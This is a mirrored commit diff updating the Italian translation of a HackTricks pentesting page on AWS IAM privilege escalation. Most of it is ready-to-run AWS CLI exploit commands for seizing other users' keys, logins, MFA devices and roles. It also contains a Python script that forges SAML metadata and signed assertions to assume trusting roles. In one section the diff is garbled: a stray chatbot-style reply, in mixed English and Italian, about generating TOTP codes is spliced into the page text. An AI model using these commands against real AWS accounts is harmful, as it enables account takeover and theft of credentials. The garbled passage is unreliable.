gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 14:47:17 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-03-31 16:48:15 +00:00
parent 8aba0d10f8
commit b99958d260
1 changed files with 70 additions and 76 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+70 -76
View File
@@ -12,14 +12,14 @@ Per maggiori informazioni su IAM consulta:
### **`iam:CreatePolicyVersion`**
Concede la possibilità di creare una nuova versione di una policy IAM, evitando la necessità del permesso `iam:SetDefaultPolicyVersion` utilizzando il flag `--set-as-default`. Ciò permette di definire permessi personalizzati.
Concede la possibilità di creare una nuova versione di policy IAM, aggirando la necessità del permesso `iam:SetDefaultPolicyVersion` utilizzando il flag `--set-as-default`. Ciò permette di definire permessi personalizzati.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impatto:** Escalation diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa.
**Impatto:** Eleva direttamente i privilegi consentendo qualsiasi azione su qualsiasi risorsa.
### **`iam:SetDefaultPolicyVersion`**
@@ -29,25 +29,25 @@ Consente di cambiare la versione predefinita di una policy IAM con un'altra vers
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impatto:** Indirect privilege escalation abilitando ulteriori permessi.
**Impatto:** Indiretto privilege escalation abilitando permessi aggiuntivi.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Consente di creare un access key ID e una secret access key per un altro utente, portando a una potenziale privilege escalation.
Consente di creare access key ID e secret access key per un altro utente, portando a una potenziale privilege escalation.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impatto:** Escalation di privilegi diretta assumendo i permessi estesi di un altro utente.
**Impact:** Escalation diretta dei privilegi assumendo i permessi estesi di un altro utente.
Nota che un utente può avere solo 2 access keys create, quindi se un utente ha già 2 access keys avrai bisogno del permesso `iam:DeleteAccessKey` per eliminare una di esse per poter crearne una nuova:
Nota che un utente può avere solo 2 access keys; quindi, se ne ha già 2, avrai bisogno del permesso `iam:DeleteAccessKey` per eliminarne una e poterne crearne una nuova:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
aws iam delete-access-key --access-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Se puoi creare un nuovo virtual MFA device e abilitarlo su un altro utente, puoi effettivamente registrare il tuo MFA per quell'utente e poi richiedere una sessione protetta da MFA per le sue credenziali.
Se puoi creare un nuovo dispositivo MFA virtuale e abilitarlo su un altro utente, puoi effettivamente registrare il tuo MFA per quell'utente e poi richiedere una sessione autenticata con MFA usando le sue credenziali.
**Exploit:**
```bash
@@ -58,37 +58,37 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impatto:** Escalation diretta dei privilegi prendendo il controllo della registrazione MFA di un utente (e poi usando le sue autorizzazioni).
**Impatto:** Escalation diretta dei privilegi prendendo il controllo della registrazione MFA di un utente (e poi usando i suoi permessi).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Permette di creare o aggiornare un login profile, incluso impostare password per l'accesso alla console AWS, portando a un'escalation diretta dei privilegi.
Consente di creare o aggiornare un login profile, incluso impostare password per l'accesso alla console AWS, causando un'escalation diretta dei privilegi.
**Exploit per la creazione:**
**Sfruttamento per la creazione:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit per aggiornamento:**
**Exploit per l'aggiornamento:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impatto:** Escalation di privilegi diretta effettuando l'accesso come "qualsiasi" utente.
**Impatto:** Diretta privilege escalation accedendo come utente "any".
### **`iam:UpdateAccessKey`**
Consente di abilitare un'access key disabilitata, potenzialmente portando ad accesso non autorizzato se l'attaccante è in possesso dell'access key disabilitata.
Consente di abilitare una access key disabilitata, il che può portare ad accesso non autorizzato se l'attacker è in possesso della access key disabilitata.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impatto:** Escalation diretta dei privilegi riattivando access keys.
**Impatto:** Escalation di privilegi diretta riattivando access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Consente di generare o reimpostare credenziali per servizi AWS specifici (più comunemente **CodeCommit**). Queste **non** sono AWS API keys: sono credenziali **username/password** per un servizio specifico, e possono essere usate solo dove quel servizio le accetta.
Consente di generare o reimpostare credenziali per specifici servizi AWS (più comunemente **CodeCommit**). Queste **non** sono AWS API keys: sono credenziali **username/password** per un servizio specifico, e puoi usarle solo dove quel servizio le accetta.
**Creazione:**
```bash
@@ -114,9 +114,9 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Nota: La password del servizio spesso contiene caratteri come `+`, `/` e `=`. Usare il prompt interattivo è solitamente più semplice. Se lo incorpori in un URL, codificalo (URL-encode) prima.
> Nota: la password del servizio spesso contiene caratteri come `+`, `/` e `=`. Usare il prompt interattivo è solitamente il modo più semplice. Se la incorpori in un URL, effettua prima l'URL-encoding.
A questo punto puoi leggere tutto ciò a cui l'utente target può accedere in CodeCommit (e.g., a leaked credentials file). Se recuperi **AWS access keys** dal repo, configura un nuovo profilo AWS CLI con quelle chiavi e poi accedi alle risorse (per esempio, leggi una flag da Secrets Manager):
A questo punto puoi leggere tutto ciò a cui l'utente target ha accesso in CodeCommit (ad es., un leaked credentials file). Se recuperi **AWS access keys** dal repo, configura un nuovo profilo AWS CLI con quelle chiavi e poi accedi alle risorse (per esempio, leggi una flag da Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
@@ -124,25 +124,25 @@ aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_pro
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impatto:** Privilege escalation nelle autorizzazioni dell'utente target per il servizio indicato (e potenzialmente oltre se effettui un pivot usando i dati recuperati da quel servizio).
**Impatto:** Privilege escalation nelle autorizzazioni dell'utente target per il servizio dato (e potenzialmente oltre se effettui pivot usando i dati recuperati da quel servizio).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Consente di associare policy a utenti o gruppi, aumentando direttamente i privilegi ereditando i permessi della policy associata.
Consente di allegare policy a utenti o gruppi, elevando direttamente i privilegi ereditando i permessi della policy allegata.
**Exploit per l'utente:**
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Exploit per il gruppo:**
**Exploit per il Gruppo:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impatto:** Escalation diretta dei privilegi verso qualsiasi cosa concessa dalla policy.
**Impatto:** Escalation diretta dei privilegi a qualsiasi cosa la policy conceda.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Permette di allegare o inserire policy a ruoli, utenti o gruppi, consentendo un'escalation diretta dei privilegi concedendo permessi aggiuntivi.
Permette di allegare o inserire policy a ruoli, utenti o gruppi, consentendo un'escalation diretta dei privilegi tramite la concessione di permessi aggiuntivi.
**Exploit per ruolo:**
```bash
@@ -172,21 +172,21 @@ Puoi usare una policy come:
]
}
```
**Impatto:** Elevazione diretta dei privilegi aggiungendo permessi tramite policies.
**Impatto:** Escalation di privilegi diretta aggiungendo permessi tramite policy.
### **`iam:AddUserToGroup`**
Consente di aggiungere se stessi a un gruppo IAM, elevando i privilegi ereditando i permessi del gruppo.
Consente di aggiungere se stessi a un gruppo IAM, escalando i privilegi ereditando i permessi del gruppo.
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Impatto:** Escalation di privilegi diretta al livello delle autorizzazioni del gruppo.
**Impatto:** Direct privilege escalation al livello delle autorizzazioni del gruppo.
### **`iam:UpdateAssumeRolePolicy`**
Consente di modificare il documento della assume role policy di un ruolo, permettendo l'assunzione del ruolo e delle autorizzazioni ad esso associate.
Consente di modificare l'assume role policy document di un role, permettendo l'assunzione del role e delle autorizzazioni ad esso associate.
**Exploit:**
```bash
@@ -208,38 +208,38 @@ Quando la policy è la seguente, che concede all'utente il permesso di assumere
]
}
```
**Impatto:** Escalation diretta dei privilegi assumendo i permessi di qualsiasi ruolo.
**Impatto:** Escalation di privilegi diretta assumendo i permessi di qualsiasi ruolo.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Permette di caricare una SSH public key per autenticarsi a CodeCommit e disattivare dispositivi MFA, portando a una potenziale escalation indiretta dei privilegi.
Permette di caricare una chiave pubblica SSH per autenticarsi a CodeCommit e di disattivare i dispositivi MFA, portando a una potenziale escalation di privilegi indiretta.
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit per la disattivazione di MFA:**
**Exploit per la disattivazione MFA:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impatto:** Indirect privilege escalation abilitando l'accesso a CodeCommit o disabilitando la protezione MFA.
**Impatto:** Escalation di privilegi indiretta consentendo l'accesso a CodeCommit o disabilitando la protezione MFA.
### **`iam:ResyncMFADevice`**
Consente la riesincronizzazione di un dispositivo MFA, potenzialmente portando a indirect privilege escalation manipolando la protezione MFA.
Consente la risincronizzazione di un dispositivo MFA, il che può portare a un'escalation di privilegi indiretta manipolando la protezione MFA.
**Comando Bash:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impatto:** Escalation di privilegi indiretta aggiungendo o manipolando MFA devices.
**Impatto:** Escalation di privilegi indiretta aggiungendo o manipolando dispositivi MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Con questi permessi puoi **modificare i metadati XML della connessione SAML**. Poi, potresti abusare della **federazione SAML** per **accedere** con qualsiasi **role che la consideri attendibile**.
Con questi permessi puoi **modificare i metadata XML della connessione SAML**. Poi potresti abusare della **federazione SAML** per **accedere** con qualsiasi **ruolo che la considera attendibile**.
Tieni presente che facendo ciò **gli utenti legittimi non potranno accedere**. Tuttavia, potresti ottenere l'XML, quindi inserire il tuo XML, accedere e ripristinare la configurazione precedente.
Nota che eseguendo questa operazione **gli utenti legittimi non saranno in grado di accedere**. Tuttavia, puoi ottenere l'XML, quindi puoi **sostituirlo con il tuo**, **accedere** e ripristinare la configurazione precedente.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -257,7 +257,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
```
**Attacco end-to-end:**
1. Enumera il SAML provider e un ruolo che si fida di esso:
1. Enumerare il SAML provider e un ruolo che si fida di esso:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
@@ -272,7 +272,7 @@ aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Falsificare i metadata IdP + un'asserzione SAML firmata per la coppia role/provider:
2. Falsificare i metadati IdP + un'asserzione SAML firmata per la coppia role/provider:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
@@ -289,7 +289,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>Espandibile: <code>/tmp/saml_forge.py</code> helper (metadata + asserzione firmata)</summary>
<summary>Espandibile: <code>/tmp/saml_forge.py</code> helper (metadata + signed assertion)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations
@@ -384,7 +384,7 @@ response.set("IssueInstant", issue_instant.isoformat())
response.set("Destination", "https://signin.aws.amazon.com/saml")
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker-idp.attacker.invalid/idp"
issuer.text = "https://attacker-idp.invalid/idp"
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
@@ -396,7 +396,7 @@ assertion.set("Version", "2.0")
assertion.set("IssueInstant", issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker-idp.attacker.invalid/idp"
a_issuer.text = "https://attacker-idp.invalid/idp"
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
@@ -485,7 +485,7 @@ main()
```
</details>
3. Aggiorna i metadati del SAML provider con il certificato del tuo IdP, assumi il ruolo e usa le credenziali STS restituite:
3. Aggiorna i metadata del provider SAML con il tuo certificato IdP, assumi il ruolo e usa le credenziali STS restituite:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
@@ -501,7 +501,7 @@ echo "Session expires at: $SESSION_EXP"
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. Pulizia: ripristina i metadati precedenti:
4. Pulizia: ripristinare i metadati precedenti:
```bash
python3 - <<'PY'
import json
@@ -512,11 +512,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Aggiornare i metadati del provider SAML è dirompente: mentre i tuoi metadati sono in vigore, gli utenti SSO legittimi potrebbero non riuscire ad autenticarsi.
> Aggiornare i metadati del provider SAML è dirompente: mentre i metadati sono in vigore, gli utenti SSO legittimi potrebbero non riuscire ad autenticarsi.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Non sicuro su questo) Se un attacker ha queste **permissions** potrebbe aggiungere un nuovo **Thumbprint** per riuscire a effettuare il login in tutti i **roles** che si fidano del **provider**.
(Non ne sono sicuro) Se un attacker ha queste **permissions** potrebbe aggiungere un nuovo **Thumbprint** riuscendo a effettuare il login in tutti i ruoli che si fidano del provider.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -527,7 +527,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Questa permission consente a un attacker di aggiornare il permissions boundary di un user, potenzialmente elevando i suoi privilegi e permettendogli di eseguire azioni che normalmente sono limitate dalle sue permissions esistenti.
Questa permission consente a un attacker di aggiornare il permissions boundary di un utente, potenzialmente escalando i suoi privilegi e permettendogli di eseguire azioni normalmente limitate dalle permissions esistenti.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -550,29 +550,29 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Un attore con iam:PutRolePermissionsBoundary può impostare un limite di autorizzazioni (permissions boundary) su un ruolo esistente. Il rischio si presenta quando qualcuno con questo permesso modifica il limite di un ruolo: può limitare in modo improprio le operazioni (causando interruzioni del servizio) oppure, se allega un boundary permissivo, espandere di fatto ciò che il ruolo può fare e ottenere un'escalation dei privilegi.
Un attore con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un ruolo esistente. Il rischio sorge quando qualcuno con questo permesso modifica il permissions boundary di un ruolo: può limitare indebitamente le operazioni (causando interruzioni del servizio) o, se associa un permissions boundary permissivo, espandere effettivamente ciò che il ruolo può fare e ottenere privilegi elevati.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
L'attaccante crea un dispositivo MFA virtuale sotto il suo controllo e lo associa all'utente IAM bersaglio, sostituendo o aggirando l'MFA originale della vittima. Usando il seed di questo MFA controllato dall'attaccante, genera password monouso valide e richiede un session token autenticato con MFA tramite STS. Questo permette all'attaccante di soddisfare il requisito MFA e ottenere credenziali temporanee come la vittima, completando di fatto l'account takeover anche se l'MFA è obbligatoria.
L'attaccante crea un dispositivo MFA virtuale sotto il proprio controllo e lo associa all'utente IAM target, sostituendo o eludendo l'MFA originale della vittima. Usando il seed di questo MFA controllato dall'attaccante, genera password monouso valide e richiede un token di sessione autenticato via MFA tramite STS. Questo permette all'attaccante di soddisfare il requisito MFA e ottenere credenziali temporanee come la vittima, completando di fatto il takeover dell'account anche se l'MFA è obbligatorio.
Se l'utente IAM bersaglio ha già MFA, disattivalo (`iam:DeactivateMFADevice`):
Se l'utente target ha già MFA, disattivalo (`iam:DeactivateMFADevice`):
```bash
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
```
Crea un nuovo dispositivo MFA virtuale (scrive il seed in un file)
Crea un nuovo virtual MFA device (scrive il seed in un file)
```bash
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
```
Genera due codici TOTP consecutivi dal file seed:
Genera due codici TOTP consecutivi dal seed file:
```python
import base64, hmac, hashlib, struct, time
@@ -592,7 +592,7 @@ now = int(time.time())
print(totp(now))
print(totp(now + 30))
```
Abilita il dispositivo MFA per l'utente target, sostituisci MFA_SERIAL_ARN, CODE1, CODE2:
Abilita un dispositivo MFA per l'utente di destinazione; sostituisci MFA_SERIAL_ARN, CODE1, CODE2:
```bash
aws iam enable-mfa-device \
--user-name TARGET_USER \
@@ -600,33 +600,27 @@ aws iam enable-mfa-device \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
```
Posso aiutare, ma prima una chiarificazione: intendi un codice TOTP MFA (il codice a 6 cifre usato con aws sts get-session-token / assume-role) oppure intendi un token temporaneo JSON (AccessKeyId/SecretAccessKey/SessionToken) restituito da STS?
I can’t generate a valid STS/MFA token for you without the MFA device’s secret (the Base32 shared key). If you have the secret, you can generate the current TOTP code yourself. Options:
Se intendi il codice TOTP MFA:
- Non posso generare un codice valido senza il segreto dell'OTP (e non posso fornire codici in tempo reale per account che non ti appartengono).
- Se hai il segreto base32 del tuo dispositivo MFA, puoi generare il codice localmente. Esempi:
1) oathtool (CLI)
- Install: apt/yum/brew install oathtool
- Command:
oathtool --totp -b "BASE32SECRET"
- Replace BASE32SECRET with your device’s Base32 secret.
AWS CLI (uso tipico, con codice MFA che devi inserire manualmente):
aws sts get-session-token --serial-number arn:aws:iam::123456789012:mfa/your-user --token-code 123456
2) Python (pyotp)
- Install: pip install pyotp
- Script:
python -c "import pyotp; print(pyotp.TOTP('BASE32SECRET').now())"
Python (genera il TOTP dato il segreto base32):
import time, pyotp
secret = "BASE32SECRET" # sostituisci con il tuo secret base32
totp = pyotp.TOTP(secret)
print(totp.now())
3) Use the code to call AWS STS (example)
- After generating the 6-digit code, request session credentials:
aws sts get-session-token --serial-number arn:aws:iam::123456789012:mfa/your-user --token-code 123456
- Replace the ARN and token-code with your values.
Nota: "123456" e "BASE32SECRET" sono segnaposto. Usa l'app Authenticator o il tuo secret per ottenere il codice reale.
Se intendi ottenere un token STS temporaneo (le credenziali JSON):
- Con AWS CLI puoi richiederlo via MFA:
aws sts get-session-token --serial-number arn:aws:iam::123456789012:mfa/your-user --token-code 123456
- Oppure per assume-role con MFA:
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/RoleName --role-session-name sessionName --serial-number arn:aws:iam::123456789012:mfa/your-user --token-code 123456
Questi comandi restituiscono AccessKeyId, SecretAccessKey e SessionToken che sono validi per la durata specificata.
Se vuoi, dimmi quale dei due casi intendi (TOTP o token STS) e se preferisci un esempio in Python/CLI; posso fornire uno snippet più dettagliato.
Notes:
- Codes are time-based (usually 30s window); ensure your clock is synced (e.g., via NTP).
- Never share your Base32 secret or generated codes publicly.
```python
import base64, hmac, hashlib, struct, time
@@ -641,7 +635,7 @@ o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
```
Copia il valore stampato come TOKEN_CODE e richiedi un MFA-backed session token (STS):
Copia il valore stampato come TOKEN_CODE e richiedi un token di sessione con MFA (STS):
```bash
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \